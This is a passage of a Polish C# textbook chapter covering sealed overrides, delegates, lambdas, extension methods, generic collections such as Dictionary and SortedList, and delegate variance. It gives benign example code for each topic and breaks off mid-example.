1.18.3. Zapobieganie przesłanianiu wirtualnych


składowych klasy pochodnej
Wirtualne składowe pozostają wirtualne przez czas nieokreślony. Nieważne jest, ile
klas zostało zadeklarowanych pomiędzy wirtualną składową a klasą, która oryginalnie
tę składową deklaruje. Jeżeli klasa A deklaruje wirtualną składową, a klasa B pochodzi
z klasy A i klasa C pochodzi z klasy B, to klasa C dziedziczy wirtualną składową i może
ją przesłonić, bez względu na to że klasa B zadeklarowała przesłonięcie tej składowej.

Oto przykład:
public class A
{
public virtual void DoWork() { }
}
public class B : A
{
public override void DoWork() { }
}

Klasa pochodna może zatrzymać wirtualne dziedziczenie, deklarując przesłonięcie jako


zapieczętowane (sealed). Wymaga to umieszczenia słowa kluczowego sealed przed
słowem kluczowym override w deklaracji składowej klasy.

Oto przykład:
public class C : B
{
public sealed override void DoWork() { }
}

W poprzednim przykładzie metoda DoWork nie jest już dłużej wirtualna dla żadnej kla-
sy pochodnej z C. Jest jednak nadal wirtualna dla instancji klasy C, nawet gdy wykona
się rzutowanie na typ B lub A. Zapieczętowane (sealed) metody mogą być zastąpione
w klasie pochodnej przy użyciu słowa kluczowego new.

Oto przykład:
public class D : C
{
public new void DoWork() { }
}

W tym przypadku jeżeli DoWork jest wywoływana z klasy D przy użyciu zmiennej typu
D, to wywoływana jest nowa wersja tej metody. Jeżeli zmienna typu C, B lub A jest
używana przy dostępie do instancji D, to wywołanie metody DoWork nastąpi według
zasad wirtualnego dziedziczenia, czyli przekieruje te wywołania do implementacji
metody DoWork z klasy C.
Rozdział 1.  Język C# 71

1.18.4. Dostęp do wirtualnych składowych klasy


bazowej z klas pochodnych
Klasa pochodna, która przesłoniła metodę lub właściwość, może mieć nadal dostęp do
tej metody lub właściwości poprzez słowo kluczowe base.

Oto przykład:
public class Base
{
public virtual void DoWork() { /*...*/ }
}
public class Derived : Base
{
public override void DoWork()
{
//Kod metody pochodnej
//...
//Wywołanie metody DoWork klasy bazowej
base.DoWork();
}
}

1.18.5. Przesłanianie metody ToString()


Każda klasa lub struktura w C# dziedziczy z klasy Object. Z tego powodu każdy
obiekt otrzymuje metodę ToString, która zwraca jego reprezentację w postaci napisu.
Na przykład każda zmienna typu int ma metodę ToString, która pozwala zwrócić
zawartość zmiennej jako napis.

Oto przykład:
int x = 42;
string strx = x.ToString();
Console.WriteLine(strx); //wypisze: 42

Jeżeli tworzysz własną klasę lub strukturę, powinieneś przesłonić metodę ToString,
aby dostarczyć informacji o utworzonym przez Ciebie typie.

Najpierw należy zadeklarować metodę ToString z określonymi modyfikatorami do-


stępu i typie zwracanym:
public override string ToString(){ }

Następnie dobrze jest zaimplementować metodę, która zwraca napis. W poniższym


przykładzie zwracana jest nazwa klasy oraz dane specyficzne dla danej instancji klasy:
class Person
{
public string Name { get; set; }
public int Age { get; set; }

public override string ToString()


72 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

{
return "Person: " + Name + " " + Age;
}
}

Teraz pozostało wypróbowanie utworzonej metody, na przykład takim kodem:


Person person = new Person { Name = "Dawid", Age = 24 };
Console.WriteLine(person); //wypisze: Person: Dawid 24

1.19. Delegaty, metody anonimowe


i wyrażenia lambda
Delegat jest typem, który definiuje sygnaturę metody. Gdy tworzysz instancję dele-
gatu, możesz powiązać ją z metodą o kompatybilnej sygnaturze. Potem możesz wy-
wołać tę metodę poprzez instancję delegatu. Delegatów używamy także do przekazania
metod jako argumentów innych metod (jak w przypadku delegatu Func, o którym będzie
mowa na końcu tego rozdziału). Metody obsługujące zdarzenia (o których dowiesz
się z dalszej części książki) są metodami wywoływanymi przez delegaty. Delegaty
języka C# dla lepszego zobrazowania można porównać do wskaźników na funkcje
w języku C++.

W języku C# 1.0 tworzyłeś instancję delegatu, inicjalizując ją metodą zdefiniowaną


gdzieś w kodzie. Natomiast C# 2.0 pozwala już tworzyć anonimowe metody jako sposób
na napisanie nienazwanego bloku kodu, który jest wykonywany przy wywoływaniu
delegatu. W C# 3.0 wprowadzono już wyrażenia lambda, które są podobne do metod
anonimowych, ale bardziej wyraziste i zwięzłe. Te dwie cechy są znane jako funkcje
anonimowe. Podsumowując, można powiedzieć, że aplikacje, których celem jest
Framework w wersji 3.5 i nowszej, powinny korzystać z wyrażeń lambda.

Oto przykład demonstrujący ewolucję delegatów od C# 1.0 do C# 3.0:


class Test
{
delegate void TestDelegate(string s);
static void M(string s)
{
Console.WriteLine(s);
}

static void Main(string[] args)


{
//Oryginalna składnia delegatu wymaga
//inicjalizacji metodą nazwaną
TestDelegate testDelA = new TestDelegate(M);

//C# 2.0: Delegat może być inicjalizowany


//metodą anonimową. Ta metoda pobiera
//napis jako parametr wejściowy
TestDelegate testDelB = delegate(string s) { Console.WriteLine(s); };
Rozdział 1.  Język C# 73

//C# 3.0. Delegat może być inicjalizowany


//wyrażeniem lambda. Parametr wejściowy to x.
//Typ parametru jest określany przez kompilator
TestDelegate testDelC = (x) => { Console.WriteLine(x); };

//Wywołanie delegatów
testDelA("Witam. Jestem M i piszę ten tekst.");
testDelB("Jestem anonimowy i");
testDelC("jestem znanym autorem.");
}
}

1.19.1. Metody anonimowe


Używając metod anonimowych, zmniejszasz złożoność kodu, gdyż nie musisz tworzyć
osobnej metody dla delegatu.

Poniższy przykład prezentuje dwa sposoby tworzenia delegatu:


1. Skojarzenie delegatu z metodą anonimową.
2. Skojarzenie delegatu z metodą nazwaną.

Oto przykład:
//Deklaracja delegatu
delegate void Printer(string s);

class TestClass
{
static void Main()
{
//Delegat z metodą anonimową
Printer p = delegate(string j)
{
System.Console.WriteLine(j);
};

p("Delegat z użyciem metody anonimowej został wywołany.");

//Tworzenie instancji delegatu z użyciem metody nazwanej DoWork


p = new Printer(TestClass.DoWork);

p("Delegat z użyciem metody nazwanej został wywołany.");


}

//Metoda skojarzona z nazwanym delegatem


static void DoWork(string k)
{
System.Console.WriteLine(k);
}
}
74 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

1.19.2. Wyrażenia lambda


Wyrażenie lambda jest anonimową funkcją, której możesz użyć do utworzenia delegatu.
Używając wyrażeń lambda, możesz pisać lokalne funkcje, które mogą być przesłane
jako argumenty funkcji lub jako wartość zwracana.

Jeżeli chcesz utworzyć wyrażenie lambda, określasz parametry wejściowe (jeżeli są)
z lewej strony operatora => i piszesz wyrażenie lub blok kodu z prawej strony operatora.
Na przykład wyrażenie x => x * x określa parametr nazwany x i zwraca wartość x*x.

Wyrażenie możesz przypisać do delegatu, jak w przykładzie poniżej:


delegate int del(int i);
static void Main(string[] args)
{
del myDelegate = x => x * x;
int j = myDelegate(5); //j = 25
}

1.19.3. Delegat Func


Enkapsuluje metodę z jednym parametrem (lub bez parametrów) z wartością zwracaną
określoną w parametrze TResult.

Składnia:
public delegate TResult Func<in T, out TResult>(
T arg
)

lub:
public delegate TResult Func<out TResult>( )

Oto przykład:
using System;
using System.IO;
public class TestDelegate
{
public static void Main()
{
OutputTarget output = new OutputTarget();
Func<bool> methodCall = output.SendToFile;
if (methodCall())
Console.WriteLine("Sukces!");
else
Console.WriteLine("Operacja zapisu się nie powiodła.");
}
}

public class OutputTarget


{
public bool SendToFile()
Rozdział 1.  Język C# 75

{
try
{
string fn = Path.GetTempFileName();
StreamWriter sw = new StreamWriter(fn);
sw.WriteLine("Witaj świecie!");
sw.Close();
return true;
}
catch
{
return false;
}
}
}

1.20. Zdarzenia (ang. events)


Zdarzenia pozwalają klasie lub obiektowi poinformować inne klasy lub obiekty, gdy
w programie zaszło coś wartego uwagi. Klasa, która wysyła zdarzenie, nazywana jest
wydawcą, a klasy, które obsługują zdarzenia, są nazywane subskrybentami.

W typowej aplikacji Windows Forms (o czym będzie mowa w dalszej części książki)
subskrybuje się zdarzenia wysyłane przez kontrolki, takie jak listy czy przyciski. Śro-
dowisko Visual Studio pozwala wybrać zdarzenia, które chcemy obsługiwać, i wy-
generować dla nich odpowiedni kod.

Zdarzenia:
 Wydawca sprawdza, czy zdarzenie zostało wysłane. Subskrybenci decydują,
jaką akcję wykonać w odpowiedzi na zdarzenie.
 Zdarzenie może mieć wielu subskrybentów. Subskrybent może obsługiwać
wiele zdarzeń, od wielu wydawców.
 Zdarzenia, które nie mają subskrybentów, nigdy nie są wysyłane.
 W bibliotece klas .NET Framework zdarzenia bazują na delegacie EventHandler
i klasie bazowej EventArgs.

1.21. Metody rozszerzające


Za chwilę dowiesz się, jak zaimplementować własne metody rozszerzające dla każdego
typu w bibliotece klas .NET Framework lub jakiegokolwiek innego typu .NET, który
chcesz rozszerzyć.

Załóżmy, że chcemy dodać do klasy System.String metodę, która zwróci liczbę słów
w zmiennej tego typu.
76 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Najpierw tworzymy przestrzeń nazw o przykładowej nazwie ExtensionMethods, a w niej


statyczną oraz publiczną klasę MyExtensions. W tej klasie tworzymy statyczną oraz
publiczną metodę WordCount, która zwraca liczbę słów w napisie. A wszystko wygląda tak:
namespace ExtensionMethods
{
public static class MyExtensions
{
public static int WordCount(this String str)
{
return str.Split(new char[] { ' ', '.', '?' },
StringSplitOptions.RemoveEmptyEntries).Length;
}
}
}

Pierwszy parametr metody rozszerzającej określa, na jakim typie operuje metoda.


Przed typem tego parametru należy dodać słowo kluczowe this.

Aby użyć metody z tej przestrzeni, nazw należy dodać na górze kodu programu linię:
using ExtensionMethods;

Przykładowe użycie metody zliczającej słowa wygląda tak:


string s = "Hello Extension Methods";
int i = s.WordCount();
Console.WriteLine("i == {0}", i); //wypisze: i == 3

Na koniec jeszcze przedstawię cały przykładowy program, gotowy do kompilacji i przete-


stowania:
using System;
using ExtensionMethods;

namespace ExtensionMethods
{
public static class MyExtensions
{
public static int WordCount(this String str)
{
return str.Split(new char[] { ' ', '.', '?' },
StringSplitOptions.RemoveEmptyEntries).Length;
}
}
}

class Program
{

static void Main()


{
string s = "Hello Extension Methods";
int i = s.WordCount();
Console.WriteLine("i == {0}", i); //wypisze: i == 3
}
}
Rozdział 1.  Język C# 77

1.22. Typy generyczne


Typy generyczne zostały dodane do języka C# w wersji 2.0. Są one podobne do sza-
blonów z języka C++. Używając typów generycznych, często tworzy się kolekcje.

Typ generyczny tworzymy w następujący sposób:


class Generic<T>
{
public void Show(T var1)
{
Console.WriteLine("{0}", var1);
}
}

Teraz takiego prostego typu generycznego możemy użyć na przykład w ten sposób:
Generic<int> myG = new Generic<int>();
myG.Show(64); //wypisze: 64

Możemy także tworzyć metody generyczne. Oto przykład:


using System;

class Program
{

static void Main()


{
Method1("Witaj!"); //wypisze: Witaj!
Method1(32); //wypisze: 32
Method1(2.5); //wypisze: 2.5
}

static void Method1<T>(T var1)


{
Console.WriteLine("{0}", var1);
}
}

1.22.1. Klasa generyczna Queue


Reprezentuje kolekcję obiektów (kolejkę), w której pierwszy na wejściu jest pierw-
szym na wyjściu (first-in-first-out, FIFO).

Składnia:
[SerializableAttribute]
[ComVisibleAttribute(false)]
public class Queue<T> : IEnumerable<T>, ICollection,
IEnumerable
78 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Przykładowy kod:
using System;
using System.Collections.Generic;

class Program
{
static void Main()
{
Queue<string> numbers = new Queue<string>();
numbers.Enqueue("jeden");
numbers.Enqueue("dwa");
numbers.Enqueue("trzy");
numbers.Enqueue("cztery");
numbers.Enqueue("pięć");

//Wyświetlenie elementów kolejki


foreach (string number in numbers)
{
Console.WriteLine(number);
}

Console.WriteLine("Następny element do wyjścia: {0}",


numbers.Peek());
Console.WriteLine("Element '{0}' wyszedł z kolejki", numbers.Dequeue());

//Usunięcie wszystkich elementów kolejki


numbers.Clear();
}
}

1.22.2. Klasa generyczna Stack


Klasa generyczna reprezentująca stos.

Składnia:
[SerializableAttribute]
[ComVisibleAttribute(false)]
public class Stack<T> : IEnumerable<T>, ICollection,
IEnumerable

Przykładowy kod:
using System;
using System.Collections.Generic;

class Program
{
static void Main()
{
Stack<string> numbers = new Stack<string>();
numbers.Push("jeden");
numbers.Push("dwa");
numbers.Push("trzy");
numbers.Push("cztery");
numbers.Push("pięć");
Rozdział 1.  Język C# 79

//Wyświetlenie elementów stosu


foreach (string number in numbers)
{
Console.WriteLine(number);
}

//Usunięcie wszystkich elementów


numbers.Clear();
}
}

1.22.3. Klasa generyczna LinkedList


Lista podwójnie łączona.
Składnia:
[SerializableAttribute]
[ComVisibleAttribute(false)]
public class LinkedList<T> : ICollection<T>, IEnumerable<T>,
ICollection, IEnumerable, ISerializable, IDeserializationCallback

Przykładowy kod:
using System;
using System.Collections.Generic;

class Program
{
static void Main()
{
//Utworzenie listy
string[] words = { "lis", "skoczył", "nad", "psem" };
LinkedList<string> sentence = new LinkedList<string>(words);
Display(sentence, "Wartości listy:");

//Dodaj słowo "dzisiaj" na początek listy


sentence.AddFirst("dzisiaj");
Display(sentence, "Test 1:");

//Przenieś pierwszy element, żeby był ostatnim


LinkedListNode<string> mark1 = sentence.First;
sentence.RemoveFirst();
sentence.AddLast(mark1);
Display(sentence, "Test 2:");
}

private static void Display(LinkedList<string> words, string test)


{
Console.WriteLine(test);
foreach (string word in words)
{
Console.Write(word + " ");
}
Console.WriteLine();
Console.WriteLine();
}
}
80 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

1.22.4. Klasa generyczna List


Silnie typowana lista obiektów z dostępem poprzez indeks.

Składnia:
[SerializableAttribute]
public class List<T> : IList<T>, ICollection<T>,
IEnumerable<T>, IList, ICollection, IEnumerable

Przykładowy kod:
using System;
using System.Collections.Generic;

class Program
{
static void Main()
{
//Utworzenie listy
List<string> dinosaurs = new List<string>();

//Wyświetlenie pojemności listy


Console.WriteLine("\nPojemność: {0}", dinosaurs.Capacity);

//Dodanie nowych pozycji do listy


dinosaurs.Add("Tyrannosaurus");
dinosaurs.Add("Amargasaurus");
dinosaurs.Add("Mamenchisaurus");
dinosaurs.Add("Deinonychus");
dinosaurs.Add("Compsognathus");

Console.WriteLine();
foreach (string dinosaur in dinosaurs)
{
Console.WriteLine(dinosaur);
}

Console.WriteLine("\nPojemność: {0}", dinosaurs.Capacity);


Console.WriteLine("Liczba: {0}", dinosaurs.Count);

Console.WriteLine("\nContains(\"Deinonychus\"): {0}",
dinosaurs.Contains("Deinonychus")); //Sprawdzenie, czy lista zawiera daną pozycję

Console.WriteLine("\nInsert(2, \"Compsognathus\")");
dinosaurs.Insert(2, "Compsognathus"); //Wstawienie nowej pozycji pod indeks 2

Console.WriteLine();
foreach (string dinosaur in dinosaurs)
{
Console.WriteLine(dinosaur);
}

//Dostęp poprzez indeks


Console.WriteLine("\ndinosaurs[3]: {0}", dinosaurs[3]);

Console.WriteLine("\nRemove(\"Compsognathus\")");
Rozdział 1.  Język C# 81

dinosaurs.Remove("Compsognathus"); //Usunięcie pozycji z listy

Console.WriteLine();
foreach (string dinosaur in dinosaurs)
{
Console.WriteLine(dinosaur);
}

//Przytnij listę
dinosaurs.TrimExcess();
Console.WriteLine("\nTrimExcess()");
Console.WriteLine("Pojemność: {0}", dinosaurs.Capacity);
Console.WriteLine("Liczba: {0}", dinosaurs.Count);

//Wyczyść listę
dinosaurs.Clear();
Console.WriteLine("\nClear()");
Console.WriteLine("Pojemność: {0}", dinosaurs.Capacity);
Console.WriteLine("Liczba: {0}", dinosaurs.Count);
}
}

1.22.5. Klasa generyczna Dictionary


Reprezentuje kolekcję kluczy i wartości.

Składnia:
[SerializableAttribute]
[ComVisibleAttribute(false)]
public class Dictionary<TKey,TValue> : IDictionary<TKey,TValue>,
ICollection<KeyValuePair<TKey,TValue>>,
IEnumerable<KeyValuePair<TKey,TValue>>, IDictionary, ICollection, IEnumerable,
ISerializable, IDeserializationCallback

Przykładowy kod:
using System;
using System.Collections.Generic;

class Program
{
static void Main()
{
//Utworzenie nowej kolekcji napisów z kluczami (również jako napisy)
Dictionary<string, string> openWith =
new Dictionary<string, string>();

//Dodanie kilku elementów. Nie ma tutaj duplikatów kluczy,


//ale są duplikaty wartości
openWith.Add("txt", "notepad.exe");
openWith.Add("bmp", "paint.exe");
openWith.Add("dib", "paint.exe");
openWith.Add("rtf", "wordpad.exe");

//Próba dodania nowego klucza, który już jest w kolekcji


82 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

try
{
openWith.Add("txt", "winword.exe");
}
catch (ArgumentException)
{
Console.WriteLine("Element o kluczu = \"txt\" już istnieje.");
}

//Dostęp do wartości poprzez podanie klucza


Console.WriteLine("Dla klucza = \"rtf\", wartość = {0}.",
openWith["rtf"]);

//Zmiana wartości
openWith["rtf"] = "winword.exe";
Console.WriteLine("Dla klucza = \"rtf\", wartość = {0}.",
openWith["rtf"]);

//Jeżeli klucz nie istnieje, ustawienie indeksera doda nową parę klucz/wartość
openWith["doc"] = "winword.exe";

//Jeżeli klucza nie ma w słowniku, rzucony zostanie wyjątek


try
{
Console.WriteLine("Dla klucza = \"tif\", wartość = {0}.",
openWith["tif"]);
}
catch (KeyNotFoundException)
{
Console.WriteLine("Klucz = \"tif\" nie istnieje.");
}

//Metoda ContainsKey może być użyta do sprawdzenia, czy klucz istnieje


if (!openWith.ContainsKey("ht"))
{
openWith.Add("ht", "hypertrm.exe");
Console.WriteLine("Dodano wartość dla klucza = \"ht\": {0}",
openWith["ht"]);
}

//Podczas dostępu do kolekcji poprzez pętlę foreach


//elementy są zwracane jako obiekty KeyValuePair
Console.WriteLine();
foreach (KeyValuePair<string, string> kvp in openWith)
{
Console.WriteLine("Klucz = {0}, Wartość = {1}",
kvp.Key, kvp.Value);
}

//Do pobrania samych wartości użyj właściwości Values


Dictionary<string, string>.ValueCollection valueColl =
openWith.Values;

//Elementy ValueCollection są silnie typowane


Console.WriteLine();
foreach (string s in valueColl)
{
Console.WriteLine("Wartość = {0}", s);
Rozdział 1.  Język C# 83

//Do pobrania samych kluczy użyj właściwości Keys


Dictionary<string, string>.KeyCollection keyColl =
openWith.Keys;

//Elementy KeyCollection są silnie typowane


Console.WriteLine();
foreach (string s in keyColl)
{
Console.WriteLine("Klucz = {0}", s);
}

//Używaj metody Remove do usunięcia pary klucz/wartość


Console.WriteLine("\nRemove(\"doc\")");
openWith.Remove("doc");

if (!openWith.ContainsKey("doc"))
{
Console.WriteLine("Klucz \"doc\" nie istnieje.");
}
}
}

1.22.6. Klasa generyczna SortedDictionary


Reprezentuje kolekcję par klucz/wartość, posortowaną według kluczy.

Składnia:
[SerializableAttribute]
public class SortedDictionary<TKey,TValue> : IDictionary<TKey,TValue>,
ICollection<KeyValuePair<TKey,TValue>>,
IEnumerable<KeyValuePair<TKey,TValue>>, IDictionary, ICollection, IEnumerable

Przykładowy kod:
using System;
using System.Collections.Generic;

class Program
{
static void Main()
{
//Utworzenie nowej posortowanej kolekcji napisów z kluczami (również jako napisami)
SortedDictionary<string, string> openWith =
new SortedDictionary<string, string>();

//Dodanie kilku elementów do kolekcji. Wartości mogą się powtarzać


openWith.Add("txt", "notepad.exe");
openWith.Add("bmp", "paint.exe");
openWith.Add("dib", "paint.exe");
openWith.Add("rtf", "wordpad.exe");

//Metoda Add rzuci wyjątek, jeżeli klucz już jest w kolekcji


try
84 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

{
openWith.Add("txt", "winword.exe");
}
catch (ArgumentException)
{
Console.WriteLine("Element o kluczu = \"txt\" już istnieje.");
}

//Dostęp do wartości poprzez klucz


Console.WriteLine("Dla klucza = \"rtf\", wartość = {0}.",
openWith["rtf"]);

//Zmiana wartości
openWith["rtf"] = "winword.exe";
Console.WriteLine("Dla klucza = \"rtf\", wartość = {0}.",
openWith["rtf"]);

//Jeżeli klucz nie istnieje, zostanie dodany


openWith["doc"] = "winword.exe";

//Jeżeli klucz nie istnieje, rzucony zostanie wyjątek


try
{
Console.WriteLine("Dla klucza = \"tif\", wartość = {0}.",
openWith["tif"]);
}
catch (KeyNotFoundException)
{
Console.WriteLine("Klucz = \"tif\" nie istnieje.");
}

//Sprawdzenie, czy da się pobrać wartość, a następnie pobranie jej


string value = "";
if (openWith.TryGetValue("tif", out value))
{
Console.WriteLine("Dla klucza = \"tif\", wartość = {0}.", value);
}
else
{
Console.WriteLine("Klucz = \"tif\" nie istnieje.");
}

//ContainsKey może być użyta do sprawdzenia kluczy przed dodaniem ich


if (!openWith.ContainsKey("ht"))
{
openWith.Add("ht", "hypertrm.exe");
Console.WriteLine("Dodano wartość dla klucza = \"ht\": {0}",
openWith["ht"]);
}

//Jeżeli używasz pętli foreach przy dostępie do elementów kolekcji,


//są one zwracane jako obiekty KeyValuePair
Console.WriteLine();
foreach (KeyValuePair<string, string> kvp in openWith)
{
Console.WriteLine("Klucz = {0}, Wartość = {1}",
kvp.Key, kvp.Value);
}
//Do pobrania samych wartości użyj właściwości Values
Rozdział 1.  Język C# 85

SortedDictionary<string, string>.ValueCollection valueColl =


openWith.Values;

//Elementy ValueCollection są silnie typowane


Console.WriteLine();
foreach (string s in valueColl)
{
Console.WriteLine("Wartość = {0}", s);
}

//Do pobrania samych kluczy użyj właściwości Keys


SortedDictionary<string, string>.KeyCollection keyColl =
openWith.Keys;

//Elementy KeyCollection są silnie typowane


Console.WriteLine();
foreach (string s in keyColl)
{
Console.WriteLine("Klucz = {0}", s);
}

//Użyj metody Remove do usunięcia pary klucz/wartość


Console.WriteLine("\nRemove(\"doc\")");
openWith.Remove("doc");

if (!openWith.ContainsKey("doc"))
{
Console.WriteLine("Klucz \"doc\" nie istnieje.");
}
}
}

1.22.7. Klasa generyczna KeyedCollection


Dostarcza abstrakcyjną klasę bazową, której klucze są wbudowane w wartości.

Składnia:
[SerializableAttribute]
[ComVisibleAttribute(false)]
public abstract class KeyedCollection<TKey,TItem> : Collection<TItem>

Przykładowy kod:
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;

public class SimpleOrder : KeyedCollection<int, OrderItem>


{
//Konstruktor bezparametrowy klasy bazowej tworzy
//kolekcję z wewnętrznym słownikiem. W tym przykładzie
//nie zostały zaprezentowane inne konstruktory
public SimpleOrder() : base() {}

//To jest jedyna metoda, która musi zostać przesłonięta, ponieważ


//bez tego kolekcja nie mogłaby wydobyć kluczy
86 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

protected override int GetKeyForItem(OrderItem item)


{
//w tym przykładzie kluczem jest numer partii produkcyjnej
return item.PartNumber;
}
}

public class Demo


{
public static void Main()
{
SimpleOrder weekly = new SimpleOrder();

//Metoda Add dziedzicząca z Collection pobiera OrderItem


weekly.Add(new OrderItem(110072674, "Widget", 400, 45.17));
weekly.Add(new OrderItem(110072675, "Sprocket", 27, 5.3));
weekly.Add(new OrderItem(101030411, "Motor", 10, 237.5));
weekly.Add(new OrderItem(110072684, "Gear", 175, 5.17));

Display(weekly);

//Metoda Contains pobiera klucz, w tym przypadku jest to typ int


Console.WriteLine("\nContains(101030411): {0}",
weekly.Contains(101030411));

//Domyślna właściwość Item pobiera klucz


Console.WriteLine("\nweekly[101030411].Description: {0}",
weekly[101030411].Description);

//Metoda Remove pobiera klucz


Console.WriteLine("\nRemove(101030411)");
weekly.Remove(101030411);
Display(weekly);

//Metoda Insert dziedziczy z Collection i pobiera indeks i OrderItem


Console.WriteLine("\nInsert(2, New OrderItem(...))");
weekly.Insert(2, new OrderItem(111033401, "Nut", 10, .5));
Display(weekly);

Collection<OrderItem> coweekly = weekly;


Console.WriteLine("\ncoweekly[2].Description: {0}",
coweekly[2].Description);

Console.WriteLine("\ncoweekly[2] = new OrderItem(...)");


coweekly[2] = new OrderItem(127700026, "Crank", 27, 5.98);

OrderItem temp = coweekly[2];

//Metoda IndexOf dziedzicząca z Collection<OrderItem> pobiera OrderItem zamiast klucza


Console.WriteLine("\nIndexOf(temp): {0}", weekly.IndexOf(temp));

//Metoda Remove również pobiera OrderItem


Console.WriteLine("\nRemove(temp)");
weekly.Remove(temp);
Display(weekly);

Console.WriteLine("\nRemoveAt(0)");
weekly.RemoveAt(0);
Rozdział 1.  Język C# 87

Display(weekly);

private static void Display(SimpleOrder order)


{
Console.WriteLine();
foreach( OrderItem item in order )
{
Console.WriteLine(item);
}
}
}

//klasa reprezentująca prostą linię zamówień


public class OrderItem
{
public readonly int PartNumber;
public readonly string Description;
public readonly double UnitPrice;

private int _quantity = 0;

public OrderItem(int partNumber, string description,


int quantity, double unitPrice)
{
this.PartNumber = partNumber;
this.Description = description;
this.Quantity = quantity;
this.UnitPrice = unitPrice;
}

public int Quantity


{
get { return _quantity; }
set
{
if (value<0)
throw new ArgumentException("Liczba nie może być ujemna.");

_quantity = value;
}
}

public override string ToString()


{
return String.Format(
"{0,9} {1,6} {2,-12} at {3,8:#,###.00} = {4,10:###,###.00}",
PartNumber, _quantity, Description, UnitPrice,
UnitPrice * _quantity);
}
}
88 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

1.22.8. Klasa generyczna SortedList


Reprezentuje kolekcję par klucz/wartość, posortowaną według klucza i bazującą na
implementacji IComparer.

Składnia:
[SerializableAttribute]
[ComVisibleAttribute(false)]
public class SortedList<TKey,TValue> : IDictionary<TKey,TValue>,
ICollection<KeyValuePair<TKey,TValue>>,
IEnumerable<KeyValuePair<TKey,TValue>>, IDictionary, ICollection, IEnumerable

Przykładowy kod:
using System;
using System.Collections.Generic;

class Program
{
static void Main()
{
//Utworzenie nowej posortowanej listy napisów z kluczami
//(również jako napisami)
SortedList<string, string> openWith =
new SortedList<string, string>();

//Dodanie kilku elementów do listy


//Wartości może być kilka dla jednego klucza
openWith.Add("txt", "notepad.exe");
openWith.Add("bmp", "paint.exe");
openWith.Add("dib", "paint.exe");
openWith.Add("rtf", "wordpad.exe");

//Metoda Add rzuca wyjątek, jeżeli klucz już istnieje


try
{
openWith.Add("txt", "winword.exe");
}
catch (ArgumentException)
{
Console.WriteLine("Element o kluczu = \"txt\" już istnieje.");
}

//Dostęp do elementu poprzez indeks


Console.WriteLine("Dla klucza = \"rtf\", wartość = {0}.",
openWith["rtf"]);

//Zmiana wartości
openWith["rtf"] = "winword.exe";
Console.WriteLine("Dla klucza = \"rtf\", wartość = {0}.",
openWith["rtf"]);

//Jeżeli klucz nie istnieje, zostanie utworzony


openWith["doc"] = "winword.exe";

//Jeżeli klucz nie istnieje, rzucony zostanie wyjątek


Rozdział 1.  Język C# 89

try
{
Console.WriteLine("Dla klucza = \"tif\", wartość = {0}.",
openWith["tif"]);
}
catch (KeyNotFoundException)
{
Console.WriteLine("Klucz = \"tif\" nie istnieje.");
}

//Użycie TryGetValue, aby sprawdzić czy para klucz/wartość istnieje


string value = "";
if (openWith.TryGetValue("tif", out value))
{
Console.WriteLine("Dla klucza = \"tif\", wartość = {0}.", value);
}
else
{
Console.WriteLine("Klucz = \"tif\" nie istnieje.");
}

//Użycie ContainsKey przed dodaniem nowych kluczy


if (!openWith.ContainsKey("ht"))
{
openWith.Add("ht", "hypertrm.exe");
Console.WriteLine("Dodano wartość dla klucza = \"ht\": {0}",
openWith["ht"]);
}

//Przy dostępie do elementów poprzez pętlę foreach


//zwracane są one jako obiekty KeyValuePair
Console.WriteLine();
foreach (KeyValuePair<string, string> kvp in openWith)
{
Console.WriteLine("Klucz = {0}, Wartość = {1}",
kvp.Key, kvp.Value);
}

//Do pobrania samych wartości użyj właściwości Values


IList<string> ilistValues = openWith.Values;

//Elementy listy są silnie typowane


Console.WriteLine();
foreach (string s in ilistValues)
{
Console.WriteLine("Wartość = {0}", s);
}

//Właściwość Values jest przydatna do pobieranie wartości


//poprzez indeks
Console.WriteLine("\nPobieranie wartości poprzez Values " +
"właściwość: Values[2] = {0}", openWith.Values[2]);

//Do pobrania tylko kluczy użyj właściwości Keys


IList<string> ilistKeys = openWith.Keys;

//Elementy listy są silnie typowane


Console.WriteLine();
90 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

foreach (string s in ilistKeys)


{
Console.WriteLine("Klucz = {0}", s);
}

//Właściwość Keys jest przydatna do pobierania kluczy


//poprzez indeks
Console.WriteLine("\nPobieranie wartości poprzez Keys " +
"właściwość: Keys[2] = {0}", openWith.Keys[2]);

//Metoda Remove usuwa parę klucz/wartość


Console.WriteLine("\nRemove(\"doc\")");
openWith.Remove("doc");

if (!openWith.ContainsKey("doc"))
{
Console.WriteLine("Klucz \"doc\" nie istnieje.");
}
}
}

1.23. Kontrawariancja i kowariancja


Gdy przypiszesz metodę do delegatu, kowariancja i kontrawariancja zapewniają ela-
styczność przy sprawdzaniu typu delegatu z sygnaturą metody. Kowariancja pozwala
metodzie mieć typ zwracany bardziej pochodny niż ten zdefiniowany w delegacie.
Kontrawariancja pozwala metodzie mieć typy parametrów mniej pochodne niż te
w delegacie.

Poniższy przykład demonstruje, jak delegaty mogą być użyte z metodami, które mają
typy zwracane pochodne z typu zwracanego w sygnaturze delegatu. Typ danych zwracany
przez DogsHandler jest typu Dogs, który pochodzi z typu Mammals, zdefiniowanego w de-
legacie.
class Mammals{}
class Dogs : Mammals{}

class Program
{
//Definicja delegatu
public delegate Mammals HandlerMethod();

public static Mammals MammalsHandler()


{
return null;
}

public static Dogs DogsHandler()


{
return null;
}

static void Test()


Rozdział 1.  Język C# 91

{
HandlerMethod handlerMammals = MammalsHandler;

//Kowariancja pozwala na takie przypisanie


HandlerMethod handlerDogs = DogsHandler;
}
}

Teraz kolejny przykład. Poniższy kod prezentuje, jak delegaty mogą być użyte z me-
todami, które mają parametry typu będącego typem bazowym sygnatury delegatu.
Kontrawariancja pozwala na użycie jednego obsługującego zdarzenia zamiast osobnych.
//Obsługujący zdarzenia, który akceptuje parametry typu EventArgs
private void MultiHandler(object sender, System.EventArgs e)
{
label1.Text = System.DateTime.Now.ToString();
}

public Form1()
{
